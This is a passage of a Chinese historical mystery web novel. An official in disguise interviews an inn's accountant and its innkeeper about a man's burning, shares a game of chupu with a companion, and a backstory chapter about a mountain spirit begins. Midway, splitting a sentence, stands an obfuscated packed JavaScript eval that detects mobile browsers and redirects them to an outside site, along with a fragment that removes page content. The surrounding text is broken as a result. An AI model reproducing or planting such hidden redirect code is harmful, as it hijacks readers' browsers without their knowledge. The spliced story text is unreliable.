眼看阿信越走越近,在柜台后那不大的缝隙里,商隐之和晏熙都悄悄使劲往里面挪,片刻后,商隐之无奈小声耳语,“晏公子,真的没有空间了,我要被挤扁了。” 晏熙准备道歉,才发现自己的嘴还被捂着,她用眼神示意,商隐之这才连忙放开。 周围一片寂静,商隐之觉得自己好像同时听见了他和晏熙两个人的心跳。 蜷缩在他怀中的晏熙正紧紧地盯着阿信的动作,从商隐之的角度看去,他的身体随着呼吸一起一伏,半张侧脸看上去像是某种可爱的小动物,就是略微有点清瘦,脸颊上细小的绒毛在烛火下清晰可见。 “咚”二楼传来重重一声,商隐之抬头一看,是张大虎不小心撞到了身后的柱子。 听到了声音的阿信换了个方向,朝着张大虎发出声音的地方走去,商隐之拉着晏熙换了个开阔的地方,大声喊道“我在这儿。” 阿信听到后又转过身来,朝着商隐之和晏熙走来,没走两步,身后方位又传来了苏云碧和契苾月的声音。 紧接着又传来喜松、福砚、顺平、齐怀章、师玄温还有杨远的声音。 阿信被四面八方的声音搞得晕头转向,最后灵机一动,选定了一个方位然后猛地扑了过去。 见情况不妙的商隐之躲在了晏熙的身后。 晏熙拖着商隐之移开,扑了个空的阿信又换了个方位。 “所以,你刚才是想把我推出去吗?”晏熙质问道。 “哪儿有啊,我是知道晏公子您一定会保护我,带着我脱险的,所以才想仰仗您的。”商隐之一脸谄媚又真诚地看着晏熙。 没眼看的晏熙移开了视线。 “对了,晏公子,你平时多吃点饭吧,尤其多吃点肉,你那腰太细了,跟女孩子似的,我都不敢使劲抓,还有你这小身板,太单薄了,完全挡不住我。”商隐之对他的掩体提出了一系列的建议和使用反馈。 “虽然我身板薄,但是我拳头硬啊,你要试试吗?”晏熙咬着牙握了握拳。 商隐之立刻讨饶,“大人我错了,您别生气嘛。” 游戏结束,晏熙在二楼的花盆后面找到了头发斑白年逾花甲的师玄温。 6. 师玄温和苏云碧的证词 花甲之年的师玄温是一位看上去很是固执精干的小老头,平日里无事时便喜欢坐在柜台上抱着暖炉写写算算打打盹儿,商隐之和喜松一时兴起邀请店内众人一起玩捉迷藏,没想到老先生竟然也愿意参与进来。 师玄温和契苾月躲在一处,商隐之和晏熙帮忙将老先生扶回了柜台,老先生满意地眯着眼睛喘气。“这年纪大了,精力就是跟不上你们这些年轻人了。” 商隐之摇了摇头,“您可别这么说,您当时可是一口气跑到了二楼躲起来的,而且到最后都没被抓住,您厉害着呢。再说精力这个东西,本来就是多动多有的,只要您愿意每天都动一动,肯定会越来越好的。下次您还和我们一起玩好不好?” 师玄温点头答应,“好啊,好啊。唉呀,我都记不清,上一次我玩这游戏是什么时候了。好像,是陪我那小儿一起玩耍的时候吧。只可惜,孩子长大了,有了自己的生活和朋友,就不愿意再和他老头子一块儿玩喽。” 喜松好奇地问了一句,“师先生,那您儿子现在在哪里啊?” 师玄温顿了顿,“他啊,没了。” 喜松重重地一把捂住了自己的嘴巴,后悔为什么要多此一问,旁边的商隐之、晏熙还有福砚听到这个答案一时也都有点不知所措。 师玄温摸着胡子笑了笑,“没事,那都是好多年前的事了,都过去了。” “而且,我儿子是为了救两个小姑娘才出的事,他一个人换了两个人,还带走了我们那儿的一个恶霸,他死得值。” “我现在过得也挺好的啊。我们掌柜的说了,她管我一辈子。这山上风景秀美,还有你们这些来来往往的旅客给我解闷,真的挺好的。” 见师玄温早已不为此事纠结,商隐之和晏熙等人便也放下心来。 “那师先生,我可以问您几个问题吗?”晏熙试探着开口。 师玄温一副了然于心的样子,“我明白,按照规矩这店里每一个人黜陟使大人都要一一问过的,所以一直等着呢,你问吧。” 商隐之和喜松退到一旁安静坐下,福砚拿出笔墨,晏熙放下心来询问道,“发生在明武身上的事,您看见了吗?” 师玄温点了点头,“看是看见了,就是我眼神不是特别好,当时只看见个人着了起来,但没看清到底是谁。后来还是阿信他们告诉我,那个人是明武。” “那师先生您对明武印象怎么样?” 师玄温冷哼一声,“莽夫一个,早晚出事,这就是不巧赶在了我们店里,年关将近,平添晦气。” “师先生您是云娘店中年纪最大的人,又是做账房先生的,阅人无数,眼光精到,您觉得明武这事,会是谁做的?” “那当然是山魅大人啊。” “您也相信山魅一事?” 师玄温笑了笑,“你们这些年轻人啊,哎,还是太年轻了,经历的事少,所以不怕天地。天道轮回因果报应一事,我老头子可是信得很呐。” “那师先生您昨天晚上都做了些什么?” “就平日里那些事。你们在客堂吃饭的时候我和店里其他几个人在后厨吃了饭。后来你们散了,我就出去把账目清点了。清点完确定没有问题,我便回房休息了。我年纪大了,中间还起过几次夜。” “那您有发现有谁有异常吗?” 师玄温笑了笑,“你高估我老头子了,我来来去去都是在自己这一亩三分地里打转,顾不得旁人。” “师先生,您是什么时候来到这云娘店的?” 师玄温又摸了摸自己的胡子,“当年我儿子出了事之后,那恶霸一家不肯罢休,仗着背后有人,要把我也丢进监狱。我一看我根本斗不过那家人,报官也没有指望,于是连夜跑了。” “后来我在路上遇到了云娘,是她救了我,将我暂时安顿了下来。见我会算账,云娘告诉我说她打算开一家旅店,但还没想好开在哪儿,让我先安心住着,等她开好了店,就来接我过去。” “这云娘店建好之后,云娘便把我接了过来,从那时起我就一直在这了。” “我能问一下,师先生您原来是哪里人吗?” “这……” 晏熙知道师玄温是怕被当年的仇家知道,于是连忙向他保证,“师先生您放心,我只是随便问问而已,绝对不会告诉其他人的。如果您不想说也没有关系。” 师玄温沉吟片刻,“洛阳。” “洛阳?契苾月姑娘好像也是洛阳人吧。” “是啊,这么多年难得碰到一个老乡,只是我没敢告诉她。不过此生能再听见洛阳的乡音,我已经满足了。” 临走时商隐之和师玄温约定,“师先生,我们之后一起游戏,您可一定要参与进来哦。” 云娘店还剩下最后一个人,便是掌柜的苏云碧。苏云碧将他们四人带到了自己的房间。 正对着门的,是一扇折屏,折屏后面是暖阁,暖阁中央摆放着一张四方桌,众人围着四方桌坐下,桌面上摆放着一张樗蒱秤。 商隐之和喜松的眼睛亮了起来,“诶,云娘,你居然还有这种好东西,可以借我们玩玩吗?” 云娘笑笑,“当然。我这里还有围棋、弹棋、双陆……你们谁要是有兴趣都可以拿去玩。” 商隐之看了看桌面上樗蒱的战况,“要不我们还是借其他的吧,云娘你这局好像还没有结束吧。” “无事,这是昨天晚上契苾月姑娘受了惊吓,一时难以入眠,所以过来找我打发时间时玩的,我这里还有一副新的,你们喜欢尽管拿走就是。” 商隐之接过云娘递过来的一堆玩意儿,将它们交给了喜松,“谢谢云娘。”然后戳了戳身旁的晏熙,“晏公子,今天晚上我们来比比?” 晏熙挑了挑眉,“好啊。不过,要是输了,你可别哭啊。” 商隐之睁大了眼睛,“我可是樗蒱高手,公认的,连我兄长都打不过我,是不是,喜松?” “对对对,我家公子玩樗蒱可厉害了。”喜松边说边骄傲地扬起了脑袋,惹得其余人一起笑了起来。 晏熙转向苏云碧,“那云娘,我们现在开始吧。” 苏云碧点了点头,“晏公子请。” “云娘,你开这家云娘店有多久了?” 苏云碧抬头打量了一番自己的房间,突然有些感慨,“算了算,快七年了。” “七年前,我第一次来到这里,只一眼,就爱上了这云岫山。在那之前,我已经去过了很多地方,那些地方都各有千秋,却唯独云岫山让我决定就是这里了。” “我在这里建起了云娘店,找到了我的这些个伙计,见过了云岫山的一年四季还有来来往往的旅客,日子一天天过着,我都没有注意到,居然都快七年了。” “云娘是为什么想开一家旅店?” 苏云碧抿了一口茶,“开一家旅店,是我从小就想的事。小时候我曾和家人一同出游,一路上去了很多地方,住了很多旅店,每到一家旅店我便知道,我又要见到许多新的事物及风土人情了。我喜欢这样充满新鲜的感觉,所以后来我决定,我也要开一家旅店,让那些来来往往的旅人也有这样的感觉。” “店突然发生这样的事,你心里一定不好受吧?” 苏云碧无奈地笑了笑,“平心而论,还真的很复杂。我确实不喜欢明武,但也不想这么恐怖的事情发生在他身上,更不想这件事发生在我云娘店。” “店里面所有人都说,云娘是个好人。” 云娘有点惊喜,“是吗?那还真是承蒙各位抬爱了,我只是尽自己所能,做能做的事罢了。” “云娘觉得,是山魅做的这件事吗?” 苏云碧点了点头,“我知道你们这些第一次听到山魅传说的人对山魅的存在是有疑虑的,但是你们仔细想想,当时那场景和山魅故事里的分明一样,哪里是人可以做到的?而且契苾月姑娘不是说,这种事情十几年前她就见过了吗?” 晏熙和商隐之对视了一眼,“那云娘你昨天晚上都做了些什么?” “昨天散了宴席之后,我先将契苾月姑娘送回了房间,将她安抚好之后,我去挨个看了看其他客人还有没有什么需求,在查看到杨远公子时,我发现他正在屋内借酒浇愁。我怕我一个人搞不定他,于是又叫来了顺平,等到把杨远公子安顿好之后,我便继续去查房了。” “确定大家都没事了之后我便回房打算休息,这时契苾月姑娘敲响了我的门,她说她还是害怕,睡不着。于是我陪她说了会儿话,玩了会儿樗蒱,后来契苾月姑娘说她困了,我便送她回房歇息。之后便再无他事。” “你昨晚见过明武几次?” “三次,第一次是在宴席上,发生的事情你们也都知道。第二次是我去查房,问过他们有什么需要,他们要多加点热水和一床被子,于是我便给了他们。第三次是后来不知怎的,那明武明礼又跑过来问我契苾月姑娘的房间在哪里。这我怎能告诉他二人,于是搪塞了过去,他二人见问不出结果,便作罢回了房间。之后再见到明武,便是在后院之中。” “昨夜查房的过程中,云娘可有觉得哪里有异样?” 苏云碧莫名暗笑一下,然后摇了摇头,“没有,都挺正常的,就是席间那事,多少影响了诸位的心情,我看大家的兴致似乎都没有往日高了。” 晏熙觉得云娘的反应怪怪的,一回头,发现商隐之正在自己身后乱比划。 晏熙用肘部狠狠击中了商隐之的腹部,“商公子。” 商隐之捂住腹部作疼痛状,“晏大人,有什么事您请说。” “商公子还有其他的问题吗?” 商隐之想了想,“云娘,你可知这附近哪里有地方可以采集硫黄?” “硫黄?”苏云碧摇了摇头,“没听说过,怎么了商公子,你是生了湿疹吗?我这里有其他的药你要用吗?” 商隐之伸出自己的胳膊对着一片发红的地方挠了挠,然后他仔细看了看,又拿出罗帕轻轻一擦,那发红的地方便消失不见。“啊,云娘,不用了,原来不是湿疹,是不小心沾上去一点颜色。你看我,大惊小怪的。” 正当众人准备离开苏云碧的房间时,晏熙又想起了点什么,“对了,云娘,您之前是哪里人啊。” 苏云碧垂下眼帘,“回晏公子,我乃汝州人士。” 客堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516302|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内,李绍成、王嗣还有李素织正在等待着晏熙的到来。 “晏大人,快过来,请上座。”见晏熙到来,李绍成等人起身恭迎。 今日没有并桌,一张桌子上只能坐四个人,于是商隐之、喜松还有福砚去了旁边的桌子。 李绍成给晏熙倒了杯酒,“晏大人今日查案一定忙坏了吧,我几次想找您聊聊,您都不在房内。” 晏熙推开李绍成递过来的酒杯,“李县令,不好意思,我不喝酒。您找我是想聊点什么?” “这……哈哈哈,好,晏大人不喝酒,那咱们就都不喝了。”李绍成一个眼色,王嗣身后的杜仲便将桌上的酒和酒杯都收了下去。 “我倒不是想打扰大人办案,只不过……”李绍成拍了拍自己的女儿,“爱女素织不久前亲手做了一顶帽子,如今这时节天寒地冻的,送给晏大人刚好合适。” 李绍成看向自己的女儿,“素织,快把你做的帽子拿出来。” 秋琴把手中端着的一顶虎皮帽子递给了李素织,李素织一脸淡然地起身走到晏熙身边,“晏大人,这帽子是小女织的,样子不知道您喜不喜欢,但用来御寒倒是不错。” 晏熙接过帽子看了看,又看了一眼李素织淡淡的神情,“那就谢谢李小姐了。” “啪嚓”一声,一旁喝酒的杨远不小心把碗摔了。 阿信连忙跑过去收拾,杨远拍了拍阿信,“小二,再给我满上。” 阿信为难地看了一眼杨远,“杨公子,您已经很醉了,不能再喝了。”说着就要把桌上的酒坛收走。 杨远一把抢过酒坛抱在怀中,“我不,我偏要喝。本大爷心情不好,你凭什么不让我喝?” 阿信试图从杨远手中拿过酒坛,却没能成功。“杨公子,我没有不让您喝,要不您明天再喝吧,明天我再给您满上好不好?” 阿信和杨远一个哄,一个闹,喜松默默摇了摇头,“这杨公子怎么了,白天和我们一起捉迷藏的时候还好好的,怎么一到晚上又开始借酒浇愁了起来。” 福砚想了想,“也许,正是因为到了晚上,所以杨公子才借酒浇愁。人们伤春悲秋不是都喜欢等到晚上的吗。” 喜松点了点头,“有道理,公子,你说呢?” 一向活跃的公子却沉默不语,喜松抬头一看,他家公子正紧紧盯着晏熙那桌。 喜松伸出手在商隐之面前晃了晃,“公子,你看什么呢?” 商隐之回过神来,“没什么,我看那顶帽子挺好看的。” 喜松也看了一眼,不觉得那顶帽子有哪里特别的,“公子您要是喜欢,等回家让人给你做一顶不就完了吗?” 商隐之皮笑肉不笑地看着喜松,“你说得对,你怎么这么聪明,我怎么就没想到呢?” 福砚偷偷靠到喜松耳边,“你有没有觉得,你家公子好像有点怪怪的。” 喜松摇了摇头,“没有啊,我家公子不正常才是正常。” 李素织送完帽子,原本坐在晏熙右侧的王嗣起身将李素织按在了自己的座位上,“素织贤侄你那边有点远,这道羊肉羹汤你都够不到,不如你就坐在这儿吃吧。” 王嗣自己坐到了原来李素织的座位上,李素织看着他,“王叔叔,那您不是够不到了?这道羊肉羹汤可是您专门加的。” 王嗣摇了摇手,“我年纪大了,昨日刚吃过烤鹿肉,今日再吃这般油腻的东西怕是要积食。这道菜啊,是我听你父亲的安排,专门为晏大人和你们这些年轻人加的。” 王嗣看向晏熙,“晏大人,请您一定要赏脸多吃点。”接着又看向李素织,“贤侄,快给晏大人盛上。” 李素织脸上挂着笑,声音却不似先前有如春桃那般沁人,她拿过小碗盛了羊肉羹汤后单手递给晏熙,“晏公子,请。” 晏熙倒是没说什么,而是笑笑接过了李素织递过来的碗,李绍成和王嗣对视一眼,满意地捋了捋自己的翘须。 又是“啪嚓”一声,这次是商隐之把碗摔了。 喜松和福砚惊讶地看向商隐之,“公子,你怎么了,你不会也喝醉了吧?” 商隐之看着喜松和福砚,再看看地上的碎片,思索几秒后承认了“大概是吧。” 喜松和福砚看了看桌子,又相互看了看对方,福砚不确定地说道“可是商公子,您还没喝呢,咱们桌上都没有上酒呢。” 商隐之搓了搓自己的脸,“好吧,我没喝醉,是我手滑。” 福砚关心地问道,“商公子,您是不是病了哪里不太舒服啊?” 商隐之摸了摸自己的额头,“没有啊。” 两个小书童齐齐好奇地看着他。 商隐之无奈妥协,“好吧,你们看见那个王嗣还有李绍成在干什么了吗?。” “讨好晏公子呗。”喜松满不在乎地说道。 “那你们看见他们是用了什么方法吗?” 福砚回答“虎皮帽和羊肉羹汤。” 商隐之拿起筷箸一人头上敲了一下,“笨,那些只是表象。晏熙兄居然收下了他们给的钩子,这可不行,晏熙兄要是掉进他们的套圈可怎么办?咱们一定要想办法阻止他上当受骗。” 7. 夜谈 影画屏,雾朦胧,玉人纤手绕水柔。 商隐之和喜松对面而坐,长方形的樗蒱棋盘摆放在二人之中。喜松正准备掷五木,商隐之忽然出声发问,“喜松,你说这晏公子究竟知不知道那李绍成和王嗣有何用意。” 喜松掷五木的手没停,“我又不是晏公子,我怎么知道。” “好吧。” 掷完五木,喜松打开杯查看点数,商隐之又发出拷问,“喜松,你说那晏公子收下他们递过来的钩子,究竟是刻意还是无意?” 喜松一脸无奈地看向自家公子,“公子,我是真不知道,你要是好奇,不如亲自去问问晏公子得了。” 商隐之猛地起身而立,“好主意,我们现在就去问他。” 商隐之大步流星向外走去,喜松连忙跟上,“不是,公子,你,你真去问啊?” 商隐之毫不犹豫地敲响了晏熙的房门,然后坦然地看向喜松,“嗯,怎么了?”喜松艰难地挤出一个笑脸,“没事了,您门都敲了。” 里面传来一阵慌乱,似乎隐约还有水起伏晃荡的声音,片刻过后,晏熙的声音传来,“谁啊?” 商隐之隔着门回答道,“是我,商隐之,晏公子你在忙吗?要不要过来玩樗蒱啊?” “商公子你先玩吧,我正在沐浴。” “哦,这样啊,那我去准备点酒菜,一会儿你结束了来我房中啊。” “好。” 听到门外的脚步声走远,晏熙抖着长发长舒了口气。 晏熙背对着桌子而坐,福砚给手炉里装上炭火放在桌面上,帮她加速干发。 晏熙的长发及腰,光泽而柔顺。福砚一边用手绢帮她轻轻吸走头发中的水分一边感叹,“熙姐姐要是恢复女儿装扮,一定是个大美人。看这头发就知道,熙姐姐的家人从前定然将姐姐照顾得很好。” 晏熙笑了笑,“等咱们了结了这里的事,若你我都能安全脱身,我们便像云娘一样,寻个安心的去处,做回女孩儿好不好。” 晏熙放下手中的梳子,摸了摸福砚的小脸蛋,“跟着我一路东奔西走,你吃苦了。” 福砚握住晏熙的手,“熙姐姐,你说什么呢,要不是你,现在还有没有福砚都不一定。只要能和熙姐姐在一起,做什么我都愿意。” 烛火下,晏熙紧紧握了握福砚的手。 “叩叩叩”,原本歪躺斜靠的商隐之听见敲门声挺身坐起,喜松则立刻前去开门,“晏公子,福砚,你们可算是来了。” 喜松带着晏熙和福砚走到窗边,低头发现自己刚才走了一半的马、矢都被商隐之收了起来。 “公子,你这是?”喜松对于商隐之的行为大为不解。 “你是小孩子,樗蒱太复杂了,小孩子玩多了要把脑子玩笨的。你比较适合玩弹棋,不然那里还有围棋和双陆,你看看福砚喜欢玩哪个,你们两个去那边玩,这樗蒱就留给我和晏公子吧。”商隐之一本正经地忽悠喜松。 喜松用一脸“公子,你莫不是在哄骗傻子”的表情看着商隐之,于是商隐之掏出钱袋,叹了口气,“哎,孩子长大了,不好骗了。好了好了,不然我给你俩点铜板,你们去玩掷钱,到时候谁赢了这些钱就归谁。” 喜松接过铜钱,“福砚,你想玩什么呀?要是想下棋的话,咱们就把这些铜板分了吧。” “好呀,我喜欢玩弹棋。”福砚笑吟吟地回答道。喜松拿出弹棋的棋盘和棋子摆放好,然后把从商隐之那里得到的铜钱铺开,和福砚两个人脑袋凑在一起点数。 商隐之看着他们二人的背影笑了笑,“小财迷。”然后看向对面的晏熙,“晏公子,你先请吧。” 晏熙接过五木和杯子摇晃了起来,月光下,她的手指纤长如玉,脖颈细长挺拔,伴着呼吸微微颤动,随着她的动作,商隐之闻到了一股若有似无的清冽的梅花香。 “晏公子。”商隐之突然叫了她一声。 晏熙看向商隐之,“怎么了?” 商隐之歪了歪脑袋,“你长得好俊俏啊,居然连喉结都没有。” 晏熙垂目停手,开杯数点,“稚。” 商隐之睁大眼睛探身过去,“第一把运气就这么好,晏公子,你该不会是控牌了吧?” 晏熙扬了扬下巴,“我只知道,我中了贵采。” 晏熙连掷两轮,五木才到了商隐之手中。晏熙开口,“我好像一直都没问过,关于明武的事情,商公子是怎么看的。” 商隐之把杯放下,“看来,是轮到我受审了,没关系,你尽管问吧。我不知山魅是真是假,但我总觉得,明武之事背后应当没那么简单。” “商公子为什么这么觉得?” “想要完成我们所看到的一切,这个行凶之人首先轻功应当不错,可以在夜间潜入明武明礼的房中而不被察觉;其次善于用药或幻术,亦或者两者兼具,可以使明礼沉睡,明武疯癫。” “云娘说这附近并没有可以采集硫黄的地方,所以硫黄是那个人自己提前备好的。而现在云娘店中众人看上去却各个纯良可爱,没有一个人符合这些条件。” “这个人睿智,冷静,善于隐藏,出手一击即中。当然也有可能他的目标本不是明武,只不过顺手解决了而已。但能从一开始就隐藏自己,此人定不简单。” 晏熙放下一矢,“商公子的这番推论着实精彩,那,你有怀疑的人吗?” 商隐之推马向前“我倒不是很怀疑店中的那几个伙计。一个有如此能耐之人,是不会甘心在这里当个小伙计好几年的。不过,晏公子,你最好多加防范。” “为什么?” “你在查他,而他,无处可去。” 晏熙笑了笑,对此不置可否,“我可以问一问商公子为什么来这个地方吗?” “年关将近,欲往访友,途经此地。” “什么朋友,姓甚名谁,家住何处,因何相识?”晏熙一连四问,气势咄咄,连一旁的喜松和福砚都停下了手中棋子悄悄向这边张望。 商隐之温和地笑笑,“晏公子,我说就是了,你不要这么凶嘛。我要去的地方是丰州,要拜访的是我的儿时好友,名叫卢直谦,我与他是世交,且从小一起长大,去年他父亲被调到丰州出任折冲都尉,他也跟着离开,我俩一年多不曾相见,所以我才要去看他。” “昨天晚上,商公子都做了些什么?” “我和喜松到的时候大家正在用餐,于是我们便加入了进去。后来李绍成一行人到了,席间种种,想必晏大人也都知道。后来晏大人出来解散了宴席,我便带着喜松回了房。沐浴休整过后,我在门口遇到了晏大人,和您打了声招呼。之后喜松离开,我独自回房,之后便再未出去过。” 晏熙抬手堵住商隐之的去路,“喜松,你昨天晚上都做了些什么啊?” 喜松看向晏熙,“前面和公子说的都一样,后来我回房之后也想洗澡,但是热水没了,得等一会儿,我便去和福砚聊了会儿天,是吧福砚?” 福砚点点头,“是的,公子。” 喜松接着说道,“后来热水烧好了,我和福砚一同去接了热水,之后便回房洗澡休息了。”喜松想了想,又补了一句,“再无其他。” “那福砚你呢?” “我吗?”福砚想了想,“我之前一直和公子在一起,之后就如同喜松所说,回房后和他聊了会儿天便休息了。” 晏熙看向喜松和福砚,“你们两个相信山魅一说吗?” 喜松和福砚对视一眼,皆是茫然。 喜松先开口回答,“这,晏公子,我之前也从未亲眼见过山魅,所以不知。” “我也是。”福砚跟着说道,“不过,契苾月姐姐他们几个说得那么肯定,也或许真的有山魅呢?我们没见过的事物多了,但这并不代表它们就不存在。” “那你们觉得,明武之事会是山魅干的吗?” 喜松摇了摇头,“我觉得不像,要是山魅干的,那她应该把这天下所有有罪的人都给点燃了,为什么偏偏只针对明武呢?我要是山魅,再不济我也会把明武明礼两人一起收拾了。” 福砚也摇了摇头,“我不知道。按照两位公子说的,想要对明武动手的话,要做的事情太多了,这个人一定要很厉害,可是现在云娘店里根本就没有这样的人。除非我们能找到那个人,不然也许真是山魅做的也不一定。” 晏熙点了点头,“我今日审问了不少人,倒还真有一些发现。福砚,你去把审问的记录拿过来。” 福砚将审问记录递给商隐之,商隐之翻看了几页,“福砚,你这个字,好像有点肆意洒脱,不拘一格了啊。” 喜松也凑过来看了看,上面的字迹似腾龙起雾,大小不一,乱作一团,“什么答,我、什么、小、姐、什么、什么、什么、好、什么、人。” 福砚气呼呼地一把从喜松手中抢走审问记录。“不许你们看了。我家公子能认识就行。” 商隐之笑了笑,“福砚,你这多少也有点为难你家公子了吧?” 福砚的小脸气得红了起来,“胡说,我家公子都认识的,而且他明明一直都在夸我写的不错,说我有进步,是不是啊公子?” 晏熙接过福砚的审问记录,“当然了。‘答,我家小姐是个顶好的人,平日里没什么架子,对府上下人也都很好。’福砚写得很好啊,你们两个是不是天色晚了眼神不太好啊?” 商隐之和喜松错愕地看了看不似玩笑的晏熙,又看了看福砚虽然凌乱但不乏认真的笔迹,最后相互看看,然后异口同声地回答道,“是。福砚对不起,其实是我们眼神不太好。” 福砚低头看着自己写的记录,过了片刻,“好吧,我的字确实写得不好。但,那是因为我从前根本就没有学过如何写字。” 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“后来公子把我留在了身边,给我吃给我穿,还教我读书写字,让我做他的小书童。我虽然愚笨,但公子愿意教我,我就一定会用心去学的。我知道我字写得不好,但我一定会好好练习的。” 福砚湿润着眼睛爬在晏熙身边,“公子,对不起,我给您丢人了。总有一天,我会把字练好,会得到所有人的认可,我会让公子为我感到骄傲的。” 晏熙摸了摸福砚的头,“傻孩子,你现在这样已经很棒了,你不需要去做到别人认可的‘好’,你只需要做到自己认可的‘好’就够了。那才是我最喜欢的小福砚。” 一旁的喜松“哇”地一声哭了出来,“太感人了,福砚,对不起,我不知道你原来过得那么苦,我不该嘲笑你的。” “我只是以为你和我一样,从小在府里出生,跟在公子身边长大,和公子同吃同住,一同去学堂学习。平日里犯了错有公子顶着,公子顶不住就一起受罚。” “呜呜呜,你都没有跟着先生好好学习过,我真是太不应该了。” 商隐之无奈地看向喜松,“你把话都说完了,我说什么?” 商隐之有点不知所措地向福砚道了歉,“对不起啊福砚,我也不知道你原来没有上过学堂。以后你要是有什么不懂的,尽管来问我好吗?虽然我也不一定知道答案,但只要是我知道的,我就一定会认真给你解答。” “这样吧,为了补偿你,我来给你家公子当小书童,之后你家公子审问别人的时候我去做笔录,你呢,就和喜松一起好好练字好不好?” 福砚看向晏熙,“公子,你同意吗?” 晏熙:诶!? 商隐之点头,“你家公子说他同意了。” 福砚笑了笑,掏出自己的罗帕递给喜松,“擦擦吧,你别哭了,没关系的,我都还没哭呢。” 喜松泪眼朦胧地看着福砚,“你原来是在哪里乞讨啊?那些乞丐还在那里吗?我帮你去收拾他们。” 福砚摇摇头,“谢谢你喜松,但是不用了。如果不是他们,我就遇不到公子了。遇到公子之后的每一天,我都很开心,所以之前的那些日子,就当是我提前支付的报酬吧。” 商隐之把桌上的棋盘收起,将审问记录一一铺开翻阅,然后看向晏熙,“晏公子,你到底发现了什么啊?” 晏熙伸出手指轻轻在记录上点了点,商隐之的目光不自觉落在了她的手指上,又随着她手指的动作移动。 “你仔细看看关于山魅的地方。” 商隐之将有关山魅的问题一一找出,“有的人坚信不疑,有的人全然不信。我看好像李家的人都不怎么相信,云娘店里的人倒是都觉得确有其事。” “对,这正是问题所在。”烛火在晏熙的眼中跳跃,“我刚才也问过了你们仨人,山魅的存在对于我们这些第一次听到她的传说的人而言,虽大多心存疑虑,却决不会断然直接否定。” “可是李家人的态度却异常坚决,这反而让我觉得,他们其实早就知道了山魅的故事,甚至曾经亲身经历过有关的事件,所以才出于某种原因,坚决地否认。” 商隐之盯着晏熙的眼睛,“所以你怀疑李家人?” 晏熙未置一词,“可能是我想多了,但我总觉得云娘店众人的反应也有一些奇怪。这店中的几个伙计,都曾受过云娘的恩惠。那天云娘是第一个指出这件事与山魅有关的人,之后所有受过云娘恩惠的人,包括我还未来得及询问的张大虎和契苾月,便都坚称是山魅作祟。” “这样的反应,总让我觉得,他们似乎是在隐藏着什么秘密。” “这个秘密会与明武有关吗?” 晏熙摇了摇头,“这倒不一定。” 商隐之沉吟片刻,“那接下去,你打算怎么查?” “我打算去研究研究那段山魅的故事。”晏熙俏皮地眨了眨眼,“说不定,还真的能从中发现些什么。” 8. 山魅阿紫·春种 “一尺布,尚可缝;一斗粟,尚可春。”① 一群不足十岁的孩童穿着花花绿绿的圆领袍拿着纸鸢从田边跑过,稚嫩地童音齐颂着不知从何处传来的童谣。 正在田间耕作的人们纷纷侧目,坐在田边休息的王魌看着孩子们会心一笑,然后目送着他们远去。 等到孩子们走远,半壶水下肚,擦了擦额头上的汗滴后,王魌再一次拿起了犁镜。 许是受了那几个小孩子的影响,王魌边犁地边唱起了歌。“耕者忘其犁,锄者忘其锄。来归相怨怼,但坐观罗敷。”② 原本沉闷的田间顿时热闹了起来,“看起来,魌儿长大了,想要找‘罗敷’喽。”“一会儿我告诉秦婶,帮你去和王婆说说,魌儿想要个什么样的‘罗敷’啊?”“那还用说吗?肯定是‘青丝为笼系,桂枝为笼钩。头上倭堕髻,耳中明月珠’③啊。” 在其他人的打趣声中,皮肤黝黑的王魌脸上竟也泛出了红晕。青年人憨憨地立在田边,“叔叔伯伯们,你们别说了,我随口唱的,真没那么想。” “你看看,还不好意思了。”“这有什么的,你年纪也到了,要是你爹娘还在,他们定然已经给你张罗起来了。”“就是,不过啊,你别担心,我们和秦婶帮你张罗也是一样的。” 王魌恨不得在田里挖个大坑然后钻进去。“我真的没有这样想,那个,我今日先回家了。”王魌逃也似地拿起东西便往家里走,身后那些叔叔伯伯们却依然没有放过他,“害羞了啊,你看看,还跑了。”“王魌,你下午还来吗?”“哈哈哈,哈哈哈……” 王魌回到家中后放下工具便去了隔壁,进门后他顺手拿起食盆给鸡圈中的鸡撒了一把粮。 一阵“霹雳乓啷”的声音从灶房传来,王魌连忙冲了进去。“婶婶,您没事吧?” 秦婶不知所措地站在灶房中间,“魌儿,是你回来了吗?我好像又把灶房给打翻了。” “没事儿,您站着别动啊。”王魌走过去扶住秦婶,将她一步一步带出了灶房,扶到了院中的椅子旁。王魌将椅子转了个方向,让它背对着太阳,然后扶着秦婶坐了上去。 “婶婶,您在这坐着晒会儿太阳,需要什么就喊我啊,我去给咱们做饭,一会儿就好了。”临走前,王魌又拿了条襜盖在秦婶的腿上,“春天风寒,我给您盖着点。婶婶,您以后啊每天晒晒太阳吹吹风就好了,其他的事情都留给我回来做。” 秦婶摇了摇头,“我呐,人老了,眼又瞎,要是再什么都不做,会被人嫌弃的。” “谁说的?”王魌立刻打断了秦婶的这种想法,“我和贤弟都只怕自己还不够孝顺您。若是旁的人说了什么,你大可不必理会他们,这日子啊,是我们的。小时候您一个人把我和陈贤拉扯大,已经受了够多的苦了,现在啊,就该歇一歇了。” 秦婶摸索着握住了王魌的手,“魌儿,我知道你孝顺,可是……” 王魌看了一眼还在书房读书的陈贤,“好了,婶婶,我要赶紧去做饭了,不然一会儿陈贤读完书肚子要饿了。您就安安心心的在这儿待着啊。” 王魌和秦婶的儿子陈贤是差不多同时出生的,前后只差了一个月。大一个月的哥哥王魌从小和陈贤形影不离,他带着陈贤放纸鸢、玩鸠车、骑竹马,农忙的时候,还会带着陈贤坐在田间地头看大人们劳作的模样。 偶尔兄弟二人也会去掏掏鸟窝偷偷果子打打鸭子,然后躲得远远的在野外把偷来的果子吃完再回家。 有一次,王魌带着陈贤偷果子时不慎被人家发现,那人追了王魌和陈贤跑,跑着跑着王魌和陈贤就不知道跑到了哪里,天色渐渐暗了下来,陈贤急得要哭,王魌倒是不慌不忙,拿出偷来的果子给陈贤充饥,然后休闲地倒地一趟,告诉陈贤不要害怕,大人们一定会来找他们的。 